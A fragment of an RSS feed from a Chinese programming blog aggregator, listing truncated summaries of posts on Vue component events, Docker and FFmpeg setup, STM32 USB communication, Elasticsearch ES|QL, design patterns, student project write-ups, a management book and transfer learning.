      <description>Vue.js是一个渐进式JavaScript框架，它以其简洁的数据绑定和组件系统而闻名。在构建具有多个组件层次的Vue应用时，组件间的通信成为一个关键的话题。Vue提供了一种名为$emit的方法，允许子组件向父组件发送消息。本文将详细介绍如何在Vue中使用$emit方法，以及如何在父组件中监听这些事件。&#xA;什么是$emit? $emit是Vue实例的一个方法，它用于触发自定义事件。这些事件可以被父组件监听到，从而实现子组件向父组件的通信。这种方法的好处在于，它可以让数据的流动保持单向，有助于维护组件之间的清晰界限。&#xA;如何触发事件 在子组件中，你可以通过调用this.$emit(&#39;event-name&#39;, payload)来触发一个事件。&#39;event-name&#39;是你想要触发的事件名称，而payload是你想要随事件发送的数据。下面是一个简单的例子：&#xA;// ChildComponent.vue &amp;lt;template&amp;gt; &amp;lt;button @click=&#34;sendToParent&#34;&amp;gt;Click Me!&amp;lt;/button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { methods: { sendToParent() { // Trigger an event named &#39;custom-event&#39; with some data this.$emit(&#39;custom-event&#39;, { message: &#39;Hello from the child component!&#39; }); } } } &amp;lt;/script&amp;gt; 在这个例子中，当用户点击按钮时，sendToParent方法会被调用，并触发一个名为custom-event的事件，同时传递一个包含消息的对象作为载荷。&#xA;如何监听事件 在父组件中，我们可以使用v-on指令（或其缩写@）来监听子组件触发的事件。在父组件的模板中，你需要在子组件的标签上添加监听器。&#xA;// ParentComponent.vue &amp;lt;template&amp;gt; &amp;lt;child-component @custom-event=&#34;handleCustomEvent&#34;&amp;gt;&amp;lt;/child-component&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import ChildComponent from &#39;./ChildComponent.vue&#39;; export default { components: { ChildComponent }, methods: { handleCustomEvent(payload) { console.log(&#39;Event received!</description>
    </item>
    <item>
      <title>机器人仿真</title>
      <link>https://bchobby.github.io/posts/a0af36e306fdc5da0b1137d564ad3faa/</link>
      <pubDate>Sat, 30 Dec 2023 08:42:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0af36e306fdc5da0b1137d564ad3faa/</guid>
      <description>文章目录 第1关：机器人操控（一）第2关：机器人操控（二）第3关：机器人操控（三）第4关：机器人操控（四） 第1关：机器人操控（一） 示例代码如下：&#xA;#coding=utf-8 from Robot import Robot def drive(robot:Robot): ###### Begin ###### robot.SteerRightForward(2) robot.SteerLeftForwad(1.25) robot.Forward(1.9) ###### end ###### return 第2关：机器人操控（二） 示例代码如下：&#xA;#coding=utf-8 from Robot import Robot def drive(robot:Robot): ###### Begin ###### robot.Forward(3.38) robot.Stop() robot.PickUp() ###### end ###### return 第3关：机器人操控（三） 示例代码如下：&#xA;#coding=utf-8 from Robot import Robot def drive(robot:Robot): ###### Begin ###### robot.SteerLeftForwad(0.8) robot.Forward(1) robot.SteerRightForward(1.2) robot.SteerLeftForwad(0.3) robot.Forward(0.92) robot.Stop() robot.PickUp() ###### end ###### return 第4关：机器人操控（四） 示例代码如下：&#xA;#coding=utf-8 from Robot import Robot def drive(robot:Robot): ###### Begin ###### robot.</description>
    </item>
    <item>
      <title>（附源码）springboot网上书城小程序 毕业设计38707</title>
      <link>https://bchobby.github.io/posts/28c52efdfb1e58ad66c90a2e8d5e8e4f/</link>
      <pubDate>Sat, 30 Dec 2023 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28c52efdfb1e58ad66c90a2e8d5e8e4f/</guid>
      <description>目 录&#xA;摘要 1 绪论 1.1 研究背景及意义 1.2国内外研究现状 1.3系统开发的内容 1.4论文结构与章节安排 1.5小程序框架以及目录结构介绍 2 网上书城小程序系统分析 2.1 可行性分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 操作可行性分析 2.2 系统功能分析 2.2.1 功能性分析 2.2.2 非功能性分析 2.3 系统用例分析 3.4本章小结 3 网上书城小程序总体设计 3.1 系统架构设计 3.2 系统模块设计 3.3 数据库设计 3.3.1 数据库概念结构设计 3.3.2 数据库逻辑结构设计 3.4本章小结 4 网上书城小程序详细设计与实现 4.1用户功能模块 4.2管理员功能模块 5系统测试 5.1 系统测试用例 5.2 系统测试结果 结论 参考文献 致 谢 摘要&#xA;自小程序诞生以来，大受广大开发者追捧，它是一种新的开放能力，它可以在微信内被便捷的获取和传播，拥有出色的用户使用体验。本设计旨在倡导全民阅读、发现好书和读透好书，提供最新图书资讯，拓展并培养读者阅读爱好，并为广大书虫提供交流和学习平台。&#xA;本文针对网上书城小程序进行研究分析，然后开发设计出网上书城小程序以解决问题。网上书城小程序主要功能模块包括：商城管理（书籍商城、分类列表、订单列表）资源管理（书籍资讯、资讯分类列表）系统用户（管理员、会员用户）等功能模块，采取本系统此次设计前端视图界面选择Java开发语言来完成，系统功能设计采取MySQL作为后台数据的主要存储单元，采用Springboot框架进行系统的开发，实现了本系统的全部功能。本次报告，首先分析了研究的背景、作用、意义，为研究工作的合理性打下了基础。针对网上书城小程序的各项需求以及技术问题进行分析，证明了系统的必要性和技术可行性，然后对设计系统需要使用的技术软件以及设计思想做了基本的介绍，最后来实现网上书城小程序和部署运行使用它。&#xA;关键词：Java；MYSQL；网上书城&#xA;Abstract&#xA;Since the birth of the small program, it has been greatly sought after by the majority of developers.</description>
    </item>
    <item>
      <title>Java设计模式-外观模式</title>
      <link>https://bchobby.github.io/posts/70c5344a55df4cd7d8ff3efc66ec0b09/</link>
      <pubDate>Sat, 30 Dec 2023 08:22:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70c5344a55df4cd7d8ff3efc66ec0b09/</guid>
      <description>目录&#xA;一、影院管理项目&#xA;二、外观模式&#xA;（一）基本介绍&#xA;（二）原理类图&#xA;（三）解决影院管理&#xA;（四）注意事项和细节&#xA;（五）外观模式在MyBatis框架应用的源码分析&#xA;一、影院管理项目 传统方式解决影院管理就是直接用一个类来操作各个设备，类似代码如下：&#xA;ClientTest { public static void main() { //1. 创建相关的对象 //2. 调用创建的各个对象的一系列方法 // 3. 调用DVDPlayer 对象的play方法 } } 分析：&#xA;1) 在 ClientTest 的 main 方法中，创建各个子系统的对象，并直接去调用子系统 ( 对象 )相关方法，会造成调用过程混乱，没有清晰的过程 2) 不利于在ClientTest 中，去维护对子系统的操作 3) 解决思路：定义一个高层接口，给子系统中的一组接口提供一个 一致的界面 ( 比 如在高层接口提供四个方法 ready, play, pause, end ) ，用来访问子系统中的一群接口 4) 也就是说 就是通过定义一个一致的接口 (界面类) ，用以屏蔽内部子系统的细节，使得调用端只需跟这个接口发生调用，而无需关心这个子系统的内部细节 =&amp;gt; 外观模式 二、外观模式 （一）基本介绍 1) 外观模式（ Facade ），也叫“过程模式：外观模式为子系统中的一组接口提供一个一致的界面，此模式定义了一个高层接口，这个接口使得这一子系统更加容易使用 2) 外观模式通过定义一个一致的接口，用以屏蔽内部子系统的细节，使得调用端只需跟这个接口发生调用，而无需关心这个子系统的内部细节 （二）原理类图 1) 外观类(Facade): 为调用端提供统一的调用接口, 外观类知道哪些子系统负责处理请求,从而将调用端的请求代理给适当子系统对象 2) 调用者(Client): 外观接口的调用者 3) 子系统的集合：指模块或者子系统，处理Facade 对象指派的任务，他是功能的实际提供者 外观模式可以理解为转换一群接口，客户只要调用一个接口，而不用调用多个接口才能达到目的。比如：在pc 上安装软件的时候经常有一键安装选项（省去选择安装目录、安装的组件等等），还有就是手机的重启功能 （把关机和启动合为一个操作）。 外观模式就是解决多个复杂接口带来的使用 困难，起到简化用户操作的作用 （三）解决影院管理 类图如下：</description>
    </item>
    <item>
      <title>华为OD机试真题-传递悄悄话-2023年OD统一考试（C卷）</title>
      <link>https://bchobby.github.io/posts/b29cc87c1ac3fa4beedf4178fa3981fe/</link>
      <pubDate>Fri, 29 Dec 2023 23:48:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b29cc87c1ac3fa4beedf4178fa3981fe/</guid>
      <description>题目描述：&#xA;给定一个二叉树，每个节点上站着一个人，节点数字表示父节点到该节点传递悄悄话需要花费的时间。&#xA;初始时，根节点所在位置的人有一个悄悄话想要传递给其他人，求二叉树所有节点上的人都接收到悄悄话花费的时间。&#xA;输入描述：&#xA;给定二叉树 0 9 20 -1 -1 15 7 -1 -1 -1 -1 3 2&#xA;注：-1表示空节点&#xA;输出描述：&#xA;返回所有节点都接收到悄悄话花费的时间38&#xA;补充说明：&#xA;示例1&#xA;输入：&#xA;0 9 20 -1 -1 15 7 -1 -1 -1 -1 3 2 输出：&#xA;38 说明：</description>
    </item>
    <item>
      <title>Docker 入门 ------ 基本命令</title>
      <link>https://bchobby.github.io/posts/5c304a46d84002f3c3239e9156d12a89/</link>
      <pubDate>Fri, 29 Dec 2023 23:21:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c304a46d84002f3c3239e9156d12a89/</guid>
      <description>1. 使用Docker镜像 1.1 获取镜像 主要命令:&#xA;docker pull NAME[:TAG]&#xA;NAME 为镜像名称，后跟:版本号，如果没有跟后面的版本号，默认拉取最新的稳定版本&#xA;例子：&#xA;上述命令相当于：docker.io/library/ubuntu:latest&#xA;1.2 查看镜像信息 使用images查看已有镜像 docker images&#xA;支持子命令如下:&#xA;使用tag命令添加镜像标签 docker tag [已有镜像] [新镜像名]&#xA;整体来说，docker tag命令添加的标签实际上起到了类似链接的作用.&#xA;使用inspect查看详细信息 docker inspect [镜像名]&#xA;可以使用-f来指定主要获取的属性。&#xA;docker inspect -f {{“.Architecture”}}&#xA;使用history查看历史镜像 docker history [镜像名]&#xA;1.3 搜索镜像 docker search [名称]&#xA;支持的命令:&#xA;名称默认作用–automatedfalse仅显示自动创建的镜像–no-truncfalse输出信息不截断-s,–star0指定星级以上的镜像 1.4 删除镜像 docker rmi [镜像名]&#xA;如果你正在使用一个容器，该镜像无法删除&#xA;此刻你可以使用-f参数来强行删除，但是这并不正确，默认情况您要先停止容器，删除容器，再删除镜像，&#xA;1.5 创建镜像 docker commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]]&#xA;OPTIONS内容:&#xA;-a,–author=“”，表示作者信息-c,–change=[]，表示提交时候执行的DockerFile指令-m,–message=“”，表示消息-p,–pause=true，表示提交时暂停容器运行 首先启动一个容器：&#xA;接着执行：&#xA;查看到有test标签为0.1的镜像即为成功。&#xA;本地模板导入 cat [本地模板] | docker import - [自己定义的镜像名]</description>
    </item>
    <item>
      <title>python&#43;django网上购物商城系统o9m4k</title>
      <link>https://bchobby.github.io/posts/04f3405ba215f4fac3bec1ff09e210cd/</link>
      <pubDate>Fri, 29 Dec 2023 23:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04f3405ba215f4fac3bec1ff09e210cd/</guid>
      <description>语言：Python&#xA;框架：django/flask可以定制&#xA;软件版本：python3.7.7&#xA;数据库：mysql 数据库工具：Navicat&#xA;开发工具pycharm/vscode都可以&#xA;前端框架:vue.js&#xA;系统使用过程主要涉及到管理员和用户两种角色，主要包含个人中心、用户管理、商品类别管理、热卖商品管理、投诉建议、系统管理、订单管理等功能。&#xA;系统开发主要在 Windows 系统下进行，采用支持跨平台的 python语言开发完成，因此可以运行在任意开发环境下。系统采用mysql数据库和B/S结构的方式，按照django框架进行开发。2、重点及难点：&#xA;(1) 系统的接口连接&#xA;(2) 如何设计系统中的各类操作界面，使其更易于用户使用与操作&#xA;(3) 怎么很好的设计各类用户的权限&#xA;(4) 数据库的设计和模块之间的动态连接&#xA;(5) 如何建立一个合理有效，查询速度快的数据库&#xA;(6) 怎样创建有效的操作数据库，并且能够快速无误的进行数据的读写&#xA;(7) 如何组织系统，怎样去提高程序运行的效率&#xA;对购物商城管理的流程进行科学整理、归纳和功能的精简，通过软件工程的研究方法，结合当下流行的互联网技术，最终设计并实现了一个简单、易操作的购物商城系统。内容包括系统的设计思路、系统模块和实现方法。综合购物商城管理经历和对网上信息归纳整理的结果，在实际应用中，将用户分为两种：管理员和用户两个角色。其中用户可以操作的内容是有限的，管理员可以进行的操作最多。了解系统用户的分类以及可以进行的操作，对于接下来实现相关的功能具有重要的意义。&#xA;关键词：购物商城； B/S结构； MySQL&#xA;目 录&#xA;第一章 绪 论 1&#xA;1.1研究背景 1&#xA;1.2系统研究现状 1&#xA;1.3研究意义 2&#xA;第二章 系统开发技术 3&#xA;2.1 python语言 3&#xA;2.2 django框架简介 3&#xA;2.3 MySQL数据库技术 4&#xA;2.4 B/S架构 4&#xA;第三章 需求分析 6&#xA;3.1需求描述 6&#xA;3.2系统角色需求分析 6&#xA;3.3系统功能需求分析 6&#xA;3.4非功能性需求分析 7&#xA;3.4.1 先进性 8</description>
    </item>
    <item>
      <title>STM32CubeMX学习（二） USB CDC 双向通信</title>
      <link>https://bchobby.github.io/posts/b68a90e9df7b115e3752ffb22fbf0f52/</link>
      <pubDate>Fri, 29 Dec 2023 23:11:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b68a90e9df7b115e3752ffb22fbf0f52/</guid>
      <description>STM32CubeMX学习（二） USB CDC 双向通信 简介CubeMX新建工程（串口+LED）测试串口和LED串口接收测试USB CDC通信 简介 利用正点原子F407探索者开发板，测试基于USB CDC的双向数据通信。&#xA;CubeMX新建工程（串口+LED） 设置时钟源&#xA;设置调试器&#xA;设置LED&#xA;设置串口&#xA;设置USB OTG&#xA;Pinout预览&#xA;工程管理&#xA;在上图里，可以把Heap Size和Stack Size改大点，使得USB数据通信更流畅。&#xA;选中红框里的选项主要是为了工程打包后给他人直接使用。&#xA;最后点击GENERATE CODE生成工程。&#xA;测试串口和LED 在usart.h中引入头文件stdio.h&#xA;/* USER CODE BEGIN Includes */ #include &#34;stdio.h&#34;&#x9;//引入此文件，为重定向printf /* USER CODE END Includes */ 在usart.c中添加重定向代码&#xA;/* USER CODE BEGIN 1 */ // 重定向printf函数 int fputc(int ch,FILE *f) { uint8_t temp[1]={ch}; HAL_UART_Transmit(&amp;amp;huart1,temp,1,2); return 0; } /* USER CODE END 1 */ 为了方便调试，在main.c中加入以下宏定义&#xA;/* USER CODE BEGIN PD */ #define USER_MAIN_DEBUG #ifdef USER_MAIN_DEBUG #define user_main_printf(format, .</description>
    </item>
    <item>
      <title>FFmpeg学习笔记--Centos8安装FFmpeg</title>
      <link>https://bchobby.github.io/posts/4804998c0ead6a070cc527061402d50f/</link>
      <pubDate>Fri, 29 Dec 2023 23:07:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4804998c0ead6a070cc527061402d50f/</guid>
      <description> 1--安装指令 sudo yum install epel-release sudo yum localinstall --nogpgcheck https://download1.rpmfusion.org/free/el/rpmfusion-free-release-8.noarch.rpm sudo yum install ffmpeg ffmpeg-devel ffmpeg -version 2--版本信息 </description>
    </item>
    <item>
      <title>nodejs&#43;vue&#43;ElementUi农产品团购销售系统zto2c</title>
      <link>https://bchobby.github.io/posts/fcbb9abeaa0a34474742ed2b999fee61/</link>
      <pubDate>Fri, 29 Dec 2023 22:53:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcbb9abeaa0a34474742ed2b999fee61/</guid>
      <description>目标是为了完成小区团购平台的设计和实现，在疫情当下的环境，方便小区业主购入生活所需，减小居民的生活压力&#xA;采用B/S模式架构系统，开发简单，只需要连接网络即可登录本系统，不需要安装任何客户端。开发工具采用VSCode，前端采用Vue+ElementUI，后端采用Node.js，数据库采用MySQL。&#xA;涉及的技术栈&#xA;1） 前台页面：&#xA;页面结构布局采用Vue框架，可能会使用到第三方组件库Element-ui或View Design组件库、axios发送请求、html和less语法。&#xA;2） 后台服务器：&#xA;服务器搭建采用基于node的Express框架快速搭建服务器，需要引入mysql模块进行对数据库的操作&#xA;3） 数据库：&#xA;mysql数据库，Navicat可视化工具辅助操作数据库 1. 系统前台：&#xA;用户的账号注册与登录：用户需要先进行账号密码的注册，才能进行平台的登录。&#xA;商品的查找与浏览：用户可以用搜索的功能，对所需商品进行查询，可以浏览商品的基本信息。&#xA;商品购买：用户可以对想购买的商品进行下单以及对不想要的进行取消订单&#xA;2. 系统后台：&#xA;商品管理：管理员对商品的的增删改查&#xA;用户管理：管理员对用户信息的管理，如信息查询和修改&#xA;订单管理：管理员对用户订单的增删改查&#xA;该系统的有点在于，方便小区居民在疫情期间购进生活所需，减小接触传染风险。&#xA;运行软件:vscode&#xA;前端nodejs+vue+ElementUi&#xA;语言 node.js&#xA;框架：Express/koa&#xA;前端:Vue.js&#xA;数据库：mysql&#xA;开发软件：VScode/webstorm/hbuiderx均可&#xA;干城小区团购平台，主要的模块包括管理员；系统首页、个人中心、用户管理、商品类别管理、热卖商品管理、系统管理、订单管理，用户；系统首页、个人中心、我的收藏管理，前台系统首页；首页、热卖商品、优惠资讯、后台管理、在线客服、购物车、个人中心等功能。系统中管理员主要是为了安全有效地存储和管理各类信息，还可以对系统进行管理与更新维护等操作，并且对干城小区团购平台有相应的操作权限。这种个性化的平台特别注重交互协调与管理的相互配合，激发了管理人员的创造性与主动性，对干城小区团购平台而言非常有利。本次课题做的是：干城小区团购平台的设计与实现&#xA;软件采用B/S结构，软件系统前台主要实现的功能是：用户的注册与登录，商品的查找与浏览，商品的购买。后台实现的功能是：商品管理，用户管理，订单管理。&#xA;目 录&#xA;第一章 绪 论 1&#xA;1.1背景及意义 1&#xA;1.2国内外研究概况 2&#xA;1.3 研究的内容 2&#xA;第二章 关键技术的研究 3&#xA;2.1 相关技术 3&#xA;第三章 系统分析 5&#xA;3.1 系统设计目标 6&#xA;3.2 系统可行性分析 6&#xA;3.3 系统功能分析和描述 7&#xA;3.4系统UML用例分析 8&#xA;3.4.1管理员用例 9</description>
    </item>
    <item>
      <title>Elasticsearch：ES|QL 查询展示</title>
      <link>https://bchobby.github.io/posts/b8268965c67d769721770f1024b525d2/</link>
      <pubDate>Fri, 29 Dec 2023 22:53:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8268965c67d769721770f1024b525d2/</guid>
      <description>目录&#xA;准备数据&#xA;在 Dev Tools 里进行查询&#xA;基本语法&#xA;ES|QL 源命令&#xA;查询数据&#xA;针对 ip 进行搜索：&#xA;文本搜索&#xA;计算值&#xA;使用 DISSECT&#xA;使用 GROK&#xA;聚合&#xA;​编辑&#xA;创建直方图&#xA;针对数字字段的桶分析&#xA;丰富数据&#xA;元数据运用&#xA;ES|QL 多值字段&#xA;在 Discover 中进行查询&#xA;Clean up&#xA;这篇文章是继我昨天完成的文章 “Elasticsearch：ES|QL 函数及操作符” 的另外一篇文章。我将继续使用之前文章 “Elasticsearch：ES|QL 快速入门” 中的例子来结合 ES|QL 函数来做更进一步的展示。希望能对之前的文章做一个更进一步的展示。在这里，我将主要使用 Dev Tools 来进行展示。&#xA;特别值得注意的是：在进行如下的例子之前，你需要至少安装 Elastic Stack 8.11 及以上版本。&#xA;准备数据 我们还是仿照之前的文章里的例子来进行展示。我个人比较喜欢较少的文档做为例子来进行展示。这里的原因是，文档较少，容易设置，同时容易看清。只要能说明问题，就是好的例子。针对之前的 DSL 查询，我们可以参阅以前的文章 “开始使用 Elasticsearch （2）”。里面展示的文档也不是很多。&#xA;我们先到 Dev Tools 里打入如下的命令：&#xA;PUT sample_data { &#34;mappings&#34;: { &#34;properties&#34;: { &#34;client.ip&#34;: { &#34;</description>
    </item>
    <item>
      <title>前后端分离nodejs&#43;vue&#43;ElementUi网上订餐系统69b9</title>
      <link>https://bchobby.github.io/posts/54d860dd1e6cf53e0c14dcaedddfff89/</link>
      <pubDate>Fri, 29 Dec 2023 22:52:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54d860dd1e6cf53e0c14dcaedddfff89/</guid>
      <description>课题主要分为两大模块：即管理员模块和用户模块，主要功能包括个人中心、用户管理、菜品类型管理、菜品信息管理、留言反馈、在线交流、系统管理、订单管理等；&#xA;运行软件:vscode&#xA;前端nodejs+vue+ElementUi&#xA;语言 node.js&#xA;框架：Express/koa&#xA;前端:Vue.js&#xA;数据库：mysql&#xA;开发软件：VScode/webstorm/hbuiderx均可&#xA;前台页面：若进入本网站，需要注册自己的账号和密码，输入正确的账号和密码，用户才可以进入网上订餐系统主页面进行操作，进入订餐管理页面后，用户可以在搜索栏中对自己想要的订餐信息进行查看或收藏，在个人中心用户可以修改自己的个人详细信息。&#xA;后台管理页面：主要是管理员登录本系统。管理员输入用户名和密码后，校验无误后方可进入后台管理主界面，对用户使用的权限管理，设置用户等管理以及对系统信息进行管理。&#xA;采用B/S模式架构系统，开发简单，只需要连接网络即可登录本系统，不需要安装任何客户端。开发工具采用VSCode，前端采用Vue+ElementUI，后端采用Node.js，数据库采用MySQL。&#xA;涉及的技术栈&#xA;1） 前台页面：&#xA;页面结构布局采用Vue框架，可能会使用到第三方组件库Element-ui或View Design组件库、axios发送请求、html和less语法。&#xA;2） 后台服务器：&#xA;服务器搭建采用基于node的Express框架快速搭建服务器，需要引入mysql模块进行对数据库的操作&#xA;3） 数据库：&#xA;mysql数据库，Navicat可视化工具辅助操作数据库 快速发展的社会中，人们的生活水平都在提高，生活节奏也在逐渐加快。为了节省时间和提高工作效率，越来越多的人选择利用互联网进行线上打理各种事务，通过线上管理订餐也就相继涌现。与此同时，人们开始接受方便的生活方式。他们不仅希望页面简单大方，还希望操作方便，可以快速锁定他们需要的订餐管理方式。基于这种情况，我们需要这样一个界面简单大方、功能齐全的系统来解决用户问题，满足用户需求。为了实现当前网络的分析功能和便利性，网上订餐系统使管理员和用户能够在平台上直接查看他们需要的数据信息，不仅可以节省管理时间，还可以改变传统的管理模式。如果用户想要交换信息，他们需要满足双方交换信息的需要。由于时间有限，很难亲自会面和沟通，因此很难满足用户的需求。因此，迫切需要开发一个网上订餐系统，以满足用户的需求，提高用户的使用率。网上订餐系统必须更快、更有效地向用户或潜在用户提供信息。为网上订餐系统建立更好的沟通平台，提高用户信息交流的服务效率。该系统可以满足大多数用户提出的问题，用户可以根据自己的需要获得相应的服务，为网上订餐系统提供了一条快捷的途径。&#xA;关键词：订餐；简洁方便直观； 摘 要 1&#xA;Abstract 2&#xA;目录 1&#xA;1绪论 3&#xA;1.1 研究背景 3&#xA;1.2国内外研究现状 3&#xA;1.2.1国内研究现状 3&#xA;1.2.2国外研究现状 3&#xA;1.3研究的目的和意义 3&#xA;1.3.1研究目的 3&#xA;1.3.2 研究意义 4&#xA;1.4 论文的内容和结构 4&#xA;2系统相关技术概述 5&#xA;2.3 Mysql数据库 5&#xA;2.4 B/S结构 6&#xA;3系统需求分析 7&#xA;3.1需求分析概述 7&#xA;3.2系统可行性分析 7&#xA;3.2.1技术可行性 7</description>
    </item>
    <item>
      <title>《别让猴子跳回背上》——管理者的时间管理</title>
      <link>https://bchobby.github.io/posts/d03e4473571f7cc4d379f76101e68ffc/</link>
      <pubDate>Fri, 29 Dec 2023 22:35:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d03e4473571f7cc4d379f76101e68ffc/</guid>
      <description>讲时间管理的书很多，但这本是专门讲给管理者的时间管理。&#xA;在职场中，许多管理者都会碰到工作计划执行不下去、组织目标难于实现的问题，搭进了自己所有可以支配的时间，仍旧是焦头烂额，顾此失彼；而下属则因为被授权的层次过低，乐得静候差遣，无事一身轻。&#xA;为了避免授权失灵、管理不当，管理者应该将注意力放在任务指派、分配与掌控猴子的工作上——主管必须与下属一起协同照顾并且负担起喂养猴子的责任。&#xA;如何避免猴子跳到背上 避免猴子源源不断的跳上来，首先需要搞清楚猴子是从哪里、怎么跑过来的。书中用了很多实例描述猴子跳到背上的场景，非常形象。总结起来，大部分原因是混淆了问题的归属/责任人。下属提出问题，并有意无意的将管理者划为问题的责任人，于是猴子就抛给上级去照看了，自己只需要等待结果即可。&#xA;认识清楚了这一点，可以更清楚的定义“猴子”的概念：猴子就是两人谈话结束时的下一个行动步骤，即PDCA中的A（Action）。所以管理者需要认识到，无论问题是什么，下属永远是承接下一步骤的一方，他背上的猴子必须待在他那里。&#xA;和教育孩子一样，管理者需要采取一些行动，让下属没有选择1、2自由层级的机会，推动其将自由层级提高到3级以上；同时，保证猴子待在下属背上的同时，需要通过业务对话的动作，保证猴子不被饿死（任务得到推进）。书中对此也给出了一些建议，如利用好工作内容报告、共识任务的自由层级、授之以渔而非授之以鱼等。&#xA;如何喂养猴子 确定了猴子的归属，还需要明确照顾猴子的责任，要达到的效果是：给予下属明确的行动自由，足以让猴子存活，却不足以让猴子茁壮成长，这样才能让下属和猴子在喂养的过程中共同成长。书中提出了6大原则，帮助管理者实现上述目标。&#xA;规则1：不要让猴子活活饿死，要么喂养，要么射杀。规则2：不要让猴子过量。 上面两条规则有一定的相关性。就像我们经常讲好的产品需要聚焦一样，领导和员工的可支配的时间无法无限增长，如果产生的猴子过多，最终的结果必然是有很多猴子无法得到照顾，会被饿死，散发出异味，影响整体环境。因此，管理者需要控制猴子的总量，确保其数量在可负荷范围内；对于选出的猴子进行喂养，其余的杀掉。对于需要喂养的猴子，明确其归属，和下属沟通喂养的优先程度，明确喂食进度表。&#xA;规则3：喂养猴子的责任必须落在下属身上。 明确了猴子的归属后，管理者需要放手，因为按照进度表的时间地点喂猴子是下属的责任，管理者不应该再沿途追逐即将饿死的猴子，胡乱喂食。管理者需要做的只是按照检查喂食进度表，确认没有猴子被饿死。&#xA;规则4：更改预定的喂食时间需要双方沟通同意；事情没有进展不能作为重新安排时间的借口。 重点在后半句：如果事情没有进展可以作为重新安排喂食时间的借口，那人的惰性往往会导致喂食一拖再拖，然后猴子被饿死。类似的事情在我们日常工作中可以说屡见不鲜。管理者坚持这个原则，才是对下属和猴子的负责。&#xA;规则5：尽可能面对面喂养猴子，避免遭到误解。 很多管理者出于忙碌或偷懒的原因，忽视了面谈的重要性，代之以邮件、备忘录等间接的形式进行沟通。这种间接的方式很容易造成误解和误用，因为一方面有些文字会让人产生模棱两可的理解，另一方面“弦外之音”（真正需要了解的内容）很难通过面对面以外的方式表现出来。&#xA;规则6：展开即时的对话。 企业应以活动为中心，所以活动才是有意义的。即时的对话有助于管理者快速掌握喂养结果的中心主旨，从而确定下一个步骤——为了要达成目标所需采取的特定行动。下一步骤应以可量化的语句来表达，执行时的不确定度才会降低，表现才能改进。&#xA;总结 回顾这本书的整个内容，其实都是在讲如何明确管理者的定位。管理者需要明确自身的工作职责，不要让本该属于下属的问题落到自己身上，通过辅导下属提高自由层级的方式来帮助其提升，同时推进问题解决。处理问题的6个原则则很好的说明了正确执行业务对话和PDCA的方式。</description>
    </item>
    <item>
      <title>【AI】人工智能爆发推进器之迁移学习</title>
      <link>https://bchobby.github.io/posts/7bfb1ee35c3614daeb124d8b834206df/</link>
      <pubDate>Fri, 29 Dec 2023 22:29:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bfb1ee35c3614daeb124d8b834206df/</guid>
      <description>目录&#xA;一、什么是迁移学习&#xA;二、迁移学习和VAE&#xA;三、迁移学习的分类&#xA;3.1 按迁移内容分类：&#xA;3.2 按迁移方法分类：&#xA;3.3 按学习形式分类：&#xA;3.4 按目标域有无标签分类：&#xA;3.5 按学习方法分类：&#xA;3.6 按特征分类：&#xA;四、迁移学习的应用场景&#xA;五、迁移学习的举例&#xA;一、什么是迁移学习 迁移学习（Transfer Learning）是机器学习中的一种方法，它的核心思想是利用已有的知识或模型，来帮助解决新的、相关的问题。换句话说，迁移学习允许我们将一个已经训练好的模型作为起点，针对新的任务进行微调，而不是从头开始训练一个新的模型。这种方法可以节省大量的时间和计算资源，尤其是在新任务与原始任务有相似之处时。&#xA;用一个通俗易懂的比喻来解释：假设一个人已经学会了弹钢琴，现在想要学习弹吉他。虽然钢琴和吉他是两种不同的乐器，但它们之间也有一些共通之处，比如都需要掌握基本的音乐理论和节奏感。因此，这个人可以利用之前学习钢琴的经验，更快地学会弹吉他。这里，弹钢琴的经验就相当于预训练模型，而弹吉他则是新的任务。迁移学习的过程就是将弹钢琴的技能迁移到弹吉他上，从而加速学习进程。&#xA;在实际应用中，迁移学习通常涉及以下几个步骤：&#xA;选择一个预训练模型：这个模型通常是在大量数据上训练得到的，具备很强的泛化能力。对预训练模型进行微调：根据新任务的需求，对预训练模型的某些层进行调整或优化。训练和调整模型：使用新任务的数据集对模型进行训练，并根据性能表现进行调整。评估模型：使用测试集评估模型的性能，确保模型在新任务上具有良好的表现。 迁移学习的应用场景非常广泛，包括图像识别、自然语言处理、语音识别等领域。通过迁移学习，我们可以充分利用已有的知识和资源，更快地解决新问题，推动人工智能技术的发展和应用。&#xA;二、迁移学习和VAE 迁移学习和变分自编码器（VAE）是两种不同但相关的机器学习技术。它们之间的联系和区别如下：&#xA;联系：&#xA;知识迁移：迁移学习和VAE都涉及到知识或特征的迁移。在迁移学习中，我们利用预训练模型的知识来帮助解决新任务；而在VAE中，编码器学习到的潜在空间表示可以被解码器用于生成新的数据，这也可以看作是一种知识的迁移。特征提取：VAE通常用于无监督学习，通过编码器从输入数据中提取有用的特征。这些特征可以被用于后续的监督学习任务，类似于迁移学习中利用预训练模型进行特征提取。 区别：&#xA;目标不同：迁移学习的目标是利用已有的知识来解决新的、相关的问题，而VAE的目标是学习数据的潜在空间表示并生成新的数据。方法不同：迁移学习通常涉及到对预训练模型的微调或使用其进行特征提取，而VAE则通过编码器和解码器的结构来学习数据的生成模型。应用场景不同：迁移学习广泛应用于各种监督学习任务，如图像分类、自然语言处理等；而VAE则更多用于无监督学习任务，如数据生成、降维等。模型结构不同：迁移学习中的预训练模型可以是任何类型的神经网络，而VAE则具有特定的模型结构，包括编码器、解码器和潜在变量。 虽然迁移学习和VAE都涉及到知识的迁移和特征提取，但它们在目标、方法、应用场景和模型结构等方面存在显著的差异。&#xA;三、迁移学习的分类 迁移学习可以根据不同的标准进行分类，以下是一些常见的分类方式：&#xA;3.1 按迁移内容分类： 